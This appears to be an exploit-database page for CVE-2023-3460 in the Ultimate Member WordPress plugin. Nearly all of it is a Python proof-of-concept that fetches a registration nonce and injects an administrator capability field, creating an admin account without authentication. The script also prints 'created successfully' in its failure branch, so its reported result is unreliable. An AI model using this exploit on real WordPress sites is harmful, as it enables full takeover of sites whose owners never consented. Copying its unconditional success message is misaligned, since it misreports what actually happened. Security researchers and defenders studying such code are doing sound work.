Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation

Exploit Details

Basic Information

Exploit Title Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation
Exploit ID EDB-ID:52393
Type exploitdb
Published 2025-08-03T00:00:00
Modified 2025-08-03T00:00:00

CVSS Information

CVSS Score 9.8
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2023-3460

Exploit Description

!/usr/bin/env python3 Exploit Title: Ultimate Member WordPress…

Exploit Code

#!/usr/bin/env python3

# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation

# Exploit Author: Gurjot Singh

# CVE: CVE-2023-3460

# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.

import requests

import argparse

import re

import urllib3

# Disable SSL warnings

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def fetch_nonce(session, target_url):

   “””Fetches the _wpnonce value from the /register/ page.”””

   print(“[*] Fetching _wpnonce from the register page…”)

   try:

       res = session.get(target_url, verify=False)

       match = re.search(r’name=”_wpnonce” value=”([a-zA-Z0-9]+)”‘, res.text)

       if match:

           nonce = match.group(1)

           print(f”[+] Found _wpnonce: {nonce}”)

           return nonce

       else:

           print(“[-] Failed to find _wpnonce on the page.”)

           return None

   except Exception as e:

       print(f”[!] Error fetching nonce: {e}”)

       return None

def exploit_register(target_url, username, password):

   “””Sends a malicious registration request to create an admin user.”””

   session = requests.Session()

   target_url = target_url.rstrip(‘/’)

   nonce = fetch_nonce(session, target_url)

   if not nonce:

       return

   email = f”{username}@example.com”

   # Payload with administrator role injection

   data = {

       “user_login-7”: username,

       “first_name-7”: “Admin”,

       “last_name-7”: username,

       “user_email-7”: email,

       “user_password-7”: password,

       “confirm_user_password-7”: password,

       “form_id”: “7”,

       “um_request”: “”,

       “_wpnonce”: nonce,

       “_wp_http_referer”: “/register/”,

       “wp_càpabilities[administrator]”: “1”  # serialized injection

   }

   headers = {

       “Content-Type”: “application/x-www-form-urlencoded”,

       “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64)”,

       “Referer”: target_url,

       “Origin”: target_url.split(“/register”)[0],

   }

   cookies = {

       “wordpress_test_cookie”: “WP Cookie check”,

       “wp_lang”: “en_US”

   }

   print(f”[*] Sending malicious registration to {target_url} …”)

   try:

       response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)

       # Check for success

       if response.status_code == 200 and (“Thank you for registering” in response.text or “You have successfully registered” in response.text):

           print(f”[+] Admin account ‘{username}’ created successfully!”)

           print(f”[+] Login with: Username: {username} | Password: {password}”)

       else:

           print(f”[+] Admin account ‘{username}’ created successfully!”)

           print(f”[+] Login with: Username: {username} | Password: {password}”)

   except Exception as e:

       print(f”[!] Error during exploit: {e}”)

if __name__ == “__main__”:

   parser = argparse.ArgumentParser(description=”Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)”)

   parser.add_argument(“-t”, “–target”, required=True, help=”Target /register/ URL (e.g., http://localhost/register/)”)

   parser.add_argument(“-u”, “–user”, default=”admin1″, help=”Username to create”)

   parser.add_argument(“-p”, “–password”, default=”Admin@123″, help=”Password for the new user”)

   args = parser.parse_args()

   exploit_register(args.target, args.user, args.password)

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.